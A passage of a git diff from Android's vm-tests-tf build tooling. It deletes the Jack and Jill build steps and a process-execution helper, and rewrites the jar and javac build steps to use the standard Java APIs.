-      } else {
-        logger.log(Level.FINE, "Execute: {0}", cmdLineBuilder);
-      }
-
-      proc = Runtime.getRuntime().exec(cmdLine, null, workDir);
-
-      InputStream localInStream = inStream;
-      if (localInStream != null) {
-        suckIn = new Thread(
-            new ThreadBytesStreamSucker(localInStream, proc.getOutputStream(), inToBeClose));
-      } else {
-        proc.getOutputStream().close();
-      }
-
-      OutputStream localOutStream = outStream;
-      if (localOutStream != null) {
-        if (localOutStream instanceof PrintStream) {
-          suckOut = new Thread(new ThreadCharactersStreamSucker(proc.getInputStream(),
-              (PrintStream) localOutStream, outToBeClose));
-        } else {
-          suckOut = new Thread(
-              new ThreadBytesStreamSucker(proc.getInputStream(), localOutStream, outToBeClose));
-        }
-      }
-
-      OutputStream localErrStream = errStream;
-      if (localErrStream != null) {
-        if (localErrStream instanceof PrintStream) {
-          suckErr = new Thread(new ThreadCharactersStreamSucker(proc.getErrorStream(),
-              (PrintStream) localErrStream, errToBeClose));
-        } else {
-          suckErr = new Thread(
-              new ThreadBytesStreamSucker(proc.getErrorStream(), localErrStream, errToBeClose));
-        }
-      }
-
-      if (suckIn != null) {
-        suckIn.start();
-      }
-      if (suckOut != null) {
-        suckOut.start();
-      }
-      if (suckErr != null) {
-        suckErr.start();
-      }
-
-      proc.waitFor();
-      if (suckIn != null) {
-        suckIn.join();
-      }
-      if (suckOut != null) {
-        suckOut.join();
-      }
-      if (suckErr != null) {
-        suckErr.join();
-      }
-
-      ret = proc.exitValue();
-      proc.destroy();
-
-      return ret == 0;
-    } catch (Throwable e) {
-      e.printStackTrace();
-      return false;
-    }
-  }
-
-  private static class ThreadBytesStreamSucker extends BytesStreamSucker implements Runnable {
-
-    public ThreadBytesStreamSucker(@Nonnull InputStream is, @Nonnull OutputStream os,
-        boolean toBeClose) {
-      super(is, os, toBeClose);
-    }
-
-    @Override
-    public void run() {
-      try {
-        suck();
-      } catch (IOException e) {
-        // Best effort
-      }
-    }
-  }
-
-  private static class ThreadCharactersStreamSucker extends CharactersStreamSucker implements
-      Runnable {
-
-    public ThreadCharactersStreamSucker(@Nonnull InputStream is, @Nonnull PrintStream ps,
-        boolean toBeClose) {
-      super(is, ps, toBeClose);
-    }
-
-    @Override
-    public void run() {
-      try {
-        suck();
-      } catch (IOException e) {
-        // Best effort
-      }
-    }
-  }
-}
\ No newline at end of file
diff --git a/tools/vm-tests-tf/src/util/build/JackBuildDalvikSuite.java b/tools/vm-tests-tf/src/util/build/JackBuildDalvikSuite.java
deleted file mode 100644
index 2b45f9c..0000000
--- a/tools/vm-tests-tf/src/util/build/JackBuildDalvikSuite.java
+++ /dev/null
@@ -1,55 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package util.build;
-
-import java.io.IOException;
-
-public class JackBuildDalvikSuite {
-
-    public static String JACK;
-
-    public static void main(String[] args) throws IOException {
-
-        String[] remainingArgs;
-        if (args.length > 0) {
-            JACK = args[0];
-            remainingArgs = new String[args.length - 1];
-            System.arraycopy(args, 1, remainingArgs, 0, remainingArgs.length);
-        } else {
-            remainingArgs = args;
-        }
-
-        if (!BuildDalvikSuite.parseArgs(remainingArgs)) {
-            printUsage();
-            System.exit(-1);
-        }
-
-        long start = System.currentTimeMillis();
-        BuildDalvikSuite cat = new BuildDalvikSuite(true);
-        cat.compose();
-        long end = System.currentTimeMillis();
-
-        System.out.println("elapsed seconds: " + (end - start) / 1000);
-    }
-
-
-    private static void printUsage() {
-        System.out.println("usage: java-src-folder output-folder classpath " +
-                           "generated-main-files compiled_output generated-main-files " +
-                           "[restrict-to-opcode]");
-    }
-}
diff --git a/tools/vm-tests-tf/src/util/build/JackBuildStep.java b/tools/vm-tests-tf/src/util/build/JackBuildStep.java
deleted file mode 100644
index ed46582..0000000
--- a/tools/vm-tests-tf/src/util/build/JackBuildStep.java
+++ /dev/null
@@ -1,138 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package util.build;
-
-import java.io.File;
-import java.io.FileWriter;
-import java.io.IOException;
-import java.io.Writer;
-import java.util.ArrayList;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-
-public class JackBuildStep extends SourceBuildStep {
-
-    private final String destPath;
-    private final String classPath;
-    private final Set<String> sourceFiles = new HashSet<String>();
-
-    public JackBuildStep(String destPath, String classPath) {
-        super(new File(destPath));
-        this.destPath = destPath;
-        this.classPath = classPath;
-    }
-
-    @Override
-    public void addSourceFile(String sourceFile) {
-        sourceFiles.add(sourceFile);
-    }
-
-    @Override
-    boolean build() {
-        if (super.build()) {
-            if (sourceFiles.isEmpty()) {
-                return true;
-            }
-
-            File outDir = new File(destPath).getParentFile();
-            if (!outDir.exists() && !outDir.mkdirs()) {
-                System.err.println("failed to create output dir: "
-                        + outDir.getAbsolutePath());
-                return false;
-            }
-
-            File tmpOutDir = new File(outDir, outputFile.fileName.getName() + ".dexTmp");
-            if (!tmpOutDir.exists() && !tmpOutDir.mkdirs()) {
-                System.err.println("failed to create temp dir: "
-                        + tmpOutDir.getAbsolutePath());
-                return false;
-            }
-            File tmpDex = new File(tmpOutDir, "classes.dex");
-
-            File tmpArgs = new File(outDir, outputFile.fileName.getName() + ".args");
-
-            Writer argsOut = null;
-            try {
-                argsOut = new FileWriter(tmpArgs);
-                for (String source : sourceFiles) {
-                    argsOut.append(source);
-                    argsOut.append('\n');
-                }
-                argsOut.close();
-                argsOut = null;
-
-                List<String> commandLine = new ArrayList<String>(6 + sourceFiles.size());
-                commandLine.add("--verbose");
-                commandLine.add("error");
-                commandLine.add("--classpath");
-                commandLine.add(classPath);
-                commandLine.add("--output-dex");
-                commandLine.add(tmpOutDir.getAbsolutePath());
-                commandLine.add("@" + tmpArgs.getPath());
-
-                ExecuteFile exec = new ExecuteFile(JackBuildDalvikSuite.JACK,
-                    commandLine.toArray(new String[commandLine.size()]));
-                exec.setErr(System.err);
-                exec.setOut(System.out);
-                if (!exec.run()) {
-                    return false;
-                }
-
-                JarBuildStep jarStep = new JarBuildStep(
-                    new BuildFile(tmpDex),
-                    "classes.dex",
-                    outputFile,
-                    /* deleteInputFileAfterBuild = */ true);
-                if (!jarStep.build()) {
-                  throw new IOException("Failed to make jar: " + outputFile.getPath());
-                }
-                return true;
-            } catch (Throwable ex) {
-                ex.printStackTrace();
-                return false;
-            } finally {
-                tmpDex.delete();
-                tmpArgs.delete();
-                tmpOutDir.delete();
-                if (argsOut != null) {
-                    try {
-                        argsOut.close();
-                    } catch (IOException io) {
-                        // Ignore, don't override already thrown exception
-                    }
-                }
-            }
-        }
-        return false;
-    }
-
-    @Override
-    public boolean equals(Object obj) {
-        if (super.equals(obj)) {
-            JackBuildStep other = (JackBuildStep) obj;
-            return destPath.equals(other.destPath) && classPath.equals(other.classPath)
-                    && sourceFiles.equals(other.sourceFiles);
-        }
-        return false;
-    }
-
-    @Override
-    public int hashCode() {
-        return destPath.hashCode() ^ classPath.hashCode() ^ sourceFiles.hashCode();
-    }
-}
diff --git a/tools/vm-tests-tf/src/util/build/JackDexBuildStep.java b/tools/vm-tests-tf/src/util/build/JackDexBuildStep.java
deleted file mode 100644
index cbd5a3b..0000000
--- a/tools/vm-tests-tf/src/util/build/JackDexBuildStep.java
+++ /dev/null
@@ -1,118 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package util.build;
-
-import java.io.File;
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.List;
-
-public class JackDexBuildStep extends BuildStep {
-
-    private final boolean deleteInputFileAfterBuild;
-
-    JackDexBuildStep(BuildFile inputFile, BuildFile outputFile,
-            boolean deleteInputFileAfterBuild) {
-        super(inputFile, outputFile);
-        this.deleteInputFileAfterBuild = deleteInputFileAfterBuild;
-    }
-
-    @Override
-    boolean build() {
-
-        if (super.build()) {
-            String outputFilePath = outputFile.fileName.getAbsolutePath();
-            if (outputFilePath.endsWith(".dex")) {
-              throw new AssertionError(
-                  "JackDexBuildStep does not support dex output outside of an archive");
-            }
-
-            File outDir = outputFile.fileName.getParentFile();
-            if (!outDir.exists() && !outDir.mkdirs()) {
-                System.err.println("failed to create output dir: "
-                        + outDir.getAbsolutePath());
-                return false;
-            }
-
-            File tmpOutDir = new File(outDir, outputFile.fileName.getName() + ".dexTmp");
-            if (!tmpOutDir.exists() && !tmpOutDir.mkdirs()) {
-                System.err.println("failed to create temp dir: "
-                        + tmpOutDir.getAbsolutePath());
-                return false;
-            }
-            File tmpDex = new File(tmpOutDir, "classes.dex");
-
-            try {
-                List<String> commandLine = new ArrayList<String>(4);
-                commandLine.add("--verbose");
-                commandLine.add("error");
-                commandLine.add("--output-dex");
-                commandLine.add(tmpOutDir.getAbsolutePath());
-                commandLine.add("--import");
-                commandLine.add(inputFile.fileName.getAbsolutePath());
-
-                ExecuteFile exec = new ExecuteFile(JackBuildDalvikSuite.JACK,
-                    commandLine.toArray(new String[commandLine.size()]));
-                exec.setErr(System.err);
-                exec.setOut(System.out);
-                if (!exec.run()) {
-                  return false;
-                }
-
-                JarBuildStep jarStep = new JarBuildStep(
-                    new BuildFile(tmpDex),
-                    "classes.dex",
-                    outputFile,
-                    /* deleteInputFileAfterBuild = */ true);
-                if (!jarStep.build()) {
-                  throw new IOException("Failed to make jar: " + outputFile.getPath());
-                }
-                if (deleteInputFileAfterBuild) {
-                    inputFile.fileName.delete();
-                }
-                return true;
-            } catch (Throwable ex) {
-                System.err.println("exception while dexing "
-                        + inputFile.fileName.getAbsolutePath() + " to "
-                        + outputFile.fileName.getAbsolutePath());
-                ex.printStackTrace();
-            } finally {
-              tmpDex.delete();
-              tmpOutDir.delete();
-            }
-        }
-        return false;
-    }
-
-    @Override
-    public int hashCode() {
-        return inputFile.hashCode() ^ outputFile.hashCode();
-    }
-
-    @Override
-    public boolean equals(Object obj) {
-        if (super.equals(obj)) {
-            JackDexBuildStep other = (JackDexBuildStep) obj;
-
-            return inputFile.equals(other.inputFile)
-                    && outputFile.equals(other.outputFile);
-        }
-        return false;
-    }
-
-
-}
diff --git a/tools/vm-tests-tf/src/util/build/JarBuildStep.java b/tools/vm-tests-tf/src/util/build/JarBuildStep.java
index 776e9059..7fbe2d5 100644
--- a/tools/vm-tests-tf/src/util/build/JarBuildStep.java
+++ b/tools/vm-tests-tf/src/util/build/JarBuildStep.java
@@ -16,28 +16,36 @@
 
 package util.build;
 
-import sun.tools.jar.Main;
-
+import java.io.BufferedInputStream;
 import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
 import java.io.IOException;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.jar.JarEntry;
+import java.util.jar.JarOutputStream;
 
-
+/**
+ * JarBuildStep takes a single input file and embeds it into a (new) jar file as a single entry.
+ */
 public class JarBuildStep extends BuildStep {
 
-    String destFileName;
+    String outputJarEntryName;
     private final boolean deleteInputFileAfterBuild;
 
-    public JarBuildStep(BuildFile inputFile, String destFileName,
-            BuildFile outputFile, boolean deleteInputFileAfterBuild) {
-        super(inputFile, outputFile);
-        this.destFileName = destFileName;
+    public JarBuildStep(BuildFile inputFile, String outputJarEntryName,
+            BuildFile outputJarFile, boolean deleteInputFileAfterBuild) {
+        super(inputFile, outputJarFile);
+        this.outputJarEntryName = outputJarEntryName;
         this.deleteInputFileAfterBuild = deleteInputFileAfterBuild;
     }
 
     @Override
     boolean build() {
         if (super.build()) {
-            File tempFile = new File(inputFile.folder, destFileName);
+            File tempFile = new File(inputFile.folder, outputJarEntryName);
             try {
                 if (!inputFile.fileName.equals(tempFile)) {
                     copyFile(inputFile.fileName, tempFile);
@@ -56,25 +64,53 @@
                         + outDir.getAbsolutePath());
                 return false;
             }
-            String[] arguments = new String[] {
-                    "-cMf", outputFile.fileName.getAbsolutePath(), "-C",
-                    inputFile.folder.getAbsolutePath(), destFileName};
-            Main main = new Main(System.out, System.err, "jar");
-            boolean success = main.run(arguments);
 
-            if (success) {
-                if (tempFile != null) {
-                    tempFile.delete();
-                }
-                if (deleteInputFileAfterBuild) {
-                    inputFile.fileName.delete();
-                }
-            } else {
-                System.err.println("exception in JarBuildStep while calling jar with args:" +
-                        " \"-cMf\", "+outputFile.fileName.getAbsolutePath()+", \"-C\"," + 
-                        inputFile.folder.getAbsolutePath()+", "+ destFileName);
+            // Find the input. We'll need to look into the input folder, but check with the
+            // (relative) destination filename (this is effectively removing the inputFile folder
+            // from the entry path in the jar file).
+            Path absoluteInputPath = Paths.get(inputFile.folder.getAbsolutePath())
+                    .resolve(outputJarEntryName);
+            File absoluteInputFile = absoluteInputPath.toFile();
+            if (!absoluteInputFile.exists()) {
+                // Something went wrong.
+                throw new IllegalArgumentException(absoluteInputFile.getAbsolutePath());
             }
-            return success;
+
+            // Use a JarOutputStream to create the output jar file.
+            File jarOutFile = outputFile.fileName;
+            try (JarOutputStream jarOut = new JarOutputStream(new FileOutputStream(jarOutFile))) {
+                // Create the JAR entry for the file. Use destFileName, and copy the timestamp
+                // from the input.
+                JarEntry entry = new JarEntry(outputJarEntryName);
+                entry.setTime(absoluteInputFile.lastModified());
+
+                // Push the entry. The stream will then be ready to accept content.
+                jarOut.putNextEntry(entry);
+
+                // Copy absoluteInputFile into the jar file.
+                Files.copy(absoluteInputPath, jarOut);
+
+                // Finish the entry.
+                jarOut.closeEntry();
+
+                // (Implicitly close the stream, finishing the jar file.)
+            } catch (Exception e) {
+                System.err.println("exception in JarBuildStep for " +
+                        outputFile.fileName.getAbsolutePath() + ", " + outputJarEntryName);
+                e.printStackTrace(System.err);
+                jarOutFile.delete();
+                return false;
+            }
+
+            // Clean up.
+            if (tempFile != null) {
+                tempFile.delete();
+            }
+            if (deleteInputFileAfterBuild) {
+                inputFile.fileName.delete();
+            }
+
+            return true;
         }
         return false;
     }
@@ -82,7 +118,7 @@
     @Override
     public int hashCode() {
         return inputFile.hashCode() ^ outputFile.hashCode()
-                ^ destFileName.hashCode();
+                ^ outputJarEntryName.hashCode();
     }
 
     @Override
@@ -91,7 +127,7 @@
             JarBuildStep other = (JarBuildStep) obj;
             return inputFile.equals(other.inputFile)
                     && outputFile.equals(other.outputFile)
-                    && destFileName.equals(other.destFileName);
+                    && outputJarEntryName.equals(other.outputJarEntryName);
 
         }
         return false;
diff --git a/tools/vm-tests-tf/src/util/build/JavacBuildStep.java b/tools/vm-tests-tf/src/util/build/JavacBuildStep.java
index a1cde1f..e551989 100644
--- a/tools/vm-tests-tf/src/util/build/JavacBuildStep.java
+++ b/tools/vm-tests-tf/src/util/build/JavacBuildStep.java
@@ -16,12 +16,18 @@
 
 package util.build;
 
-import com.sun.tools.javac.Main;
-
 import java.io.File;
-import java.io.PrintWriter;
+import java.lang.Iterable;
+import java.util.stream.Collectors;
+import java.util.Arrays;
 import java.util.HashSet;
+import java.util.List;
 import java.util.Set;
+import javax.tools.JavaCompiler;
+import javax.tools.JavaFileObject;
+import javax.tools.StandardJavaFileManager;
+import javax.tools.StandardLocation;
+import javax.tools.ToolProvider;
 
 public class JavacBuildStep extends SourceBuildStep {
 
@@ -55,23 +61,37 @@
                 System.err.println("failed to create destination dir");
                 return false;
             }
-            int args = 8;
-            String[] commandLine = new String[sourceFiles.size()+args];
-            commandLine[0] = "-classpath";
-            commandLine[1] = classPath;
-            commandLine[2] = "-d";
-            commandLine[3] = destPath;
-            commandLine[4] = "-source";
-            commandLine[5] = "1.7";
-            commandLine[6] = "-target";
-            commandLine[7] = "1.7";
 
-            String[] files = new String[sourceFiles.size()];
-            sourceFiles.toArray(files);
+            Iterable<File> classPathFiles = Arrays.asList(classPath.split(":"))
+                    .stream()
+                    .map(File::new)
+                    .collect(Collectors.toList());
 
-            System.arraycopy(files, 0, commandLine, args, files.length);
+            JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
+            try (StandardJavaFileManager fileManager = compiler.getStandardFileManager(
+                    null,     // diagnosticListener: we don't care about the details.
+                    null,     // locale: use default locale.
+                    null)) {  // charset: use platform default.
+                fileManager.setLocation(StandardLocation.CLASS_OUTPUT, Arrays.asList(
+                        new File(destPath)));
+                fileManager.setLocation(StandardLocation.CLASS_PATH, classPathFiles);
 
-            return Main.compile(commandLine, new PrintWriter(System.err)) == 0;
+                Iterable<? extends JavaFileObject> compilationUnits =
+                        fileManager.getJavaFileObjectsFromStrings(sourceFiles);
+
+                List<String> options = Arrays.asList("-source", "1.7", "-target", "1.7");
+
+                return compiler.getTask(
+                        null,  // out: write errors to System.err.
+                        fileManager,
+                        null,  // diagnosticListener: we don't care about the details.
+                        options,
+                        null,  // classes: classes for annotation processing = none.
+                        compilationUnits).call();
+            } catch (Exception e) {
+                e.printStackTrace();
+                return false;
+            }
         }
         return false;
     }
diff --git a/tools/vm-tests-tf/src/util/build/JillBuildStep.java b/tools/vm-tests-tf/src/util/build/JillBuildStep.java
deleted file mode 100644
index 80cd49c..0000000
--- a/tools/vm-tests-tf/src/util/build/JillBuildStep.java
+++ /dev/null
@@ -1,95 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package util.build;
-
-import java.io.File;
-import java.io.IOException;
-
-public class JillBuildStep extends BuildStep {
-
-    JillBuildStep(BuildFile inputFile, BuildFile outputFile) {
-        super(inputFile, outputFile);
-    }
-
-    @Override
-    boolean build() {
-        if (super.build()) {
-            File tmpInputJar = new File(inputFile.fileName.getPath() + ".jar");
-            try {
-
-                File outDir = outputFile.fileName.getParentFile();
-                if (!outDir.exists() && !outDir.mkdirs()) {
-                    System.err.println("failed to create output dir: "
-                            + outDir.getAbsolutePath());
-                    return false;
-                }
-
-                // input file is a class file but jack supports only jar
-                JarBuildStep jarStep = new JarBuildStep(
-                    inputFile,
-                    inputFile.fileName.getName(),
-                    new BuildFile(tmpInputJar),
-                    /* deleteInputFileAfterBuild = */ false);
-                if (!jarStep.build()) {
-                  throw new IOException("Failed to make jar: " + outputFile.getPath());
-                }
-
-
-                String[] commandLine = new String[] {
-                    "--verbose",
-                    "error",
-                    "--import",
-                    tmpInputJar.getAbsolutePath(),
-                    "--output-jack",
-                    outputFile.fileName.getAbsolutePath(),
-                  };
-
-                ExecuteFile exec = new ExecuteFile(JackBuildDalvikSuite.JACK, commandLine);
-                exec.setErr(System.err);
-                exec.setOut(System.out);
-                if (!exec.run()) {
-                    return false;
-                }
-
-                return true;
-            } catch (Throwable ex) {
-                System.err.println("exception while transforming jack file from jar "
-                        + inputFile.fileName.getAbsolutePath() + " to "
-                        + outputFile.fileName.getAbsolutePath());
-                ex.printStackTrace();
-            } finally {
-                tmpInputJar.delete();
-            }
-        }
-        return false;
-    }
-
-    @Override
-    public boolean equals(Object obj) {
-        if (super.equals(obj)) {
-            JillBuildStep other = (JillBuildStep) obj;
-
-            return inputFile.equals(other.inputFile) && outputFile.equals(other.outputFile);
-        }
-        return false;
-    }
-
-    @Override
-    public int hashCode() {
-        return inputFile.hashCode() ^ outputFile.hashCode();
-    }
-}
diff --git a/tools/vm-tests-tf/targetprep/Android.mk b/tools/vm-tests-tf/targetprep/Android.mk
index a05b658..b87b08a 100644
--- a/tools/vm-tests-tf/targetprep/Android.mk
+++ b/tools/vm-tests-tf/targetprep/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_MODULE := compatibility-host-vm-targetprep
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)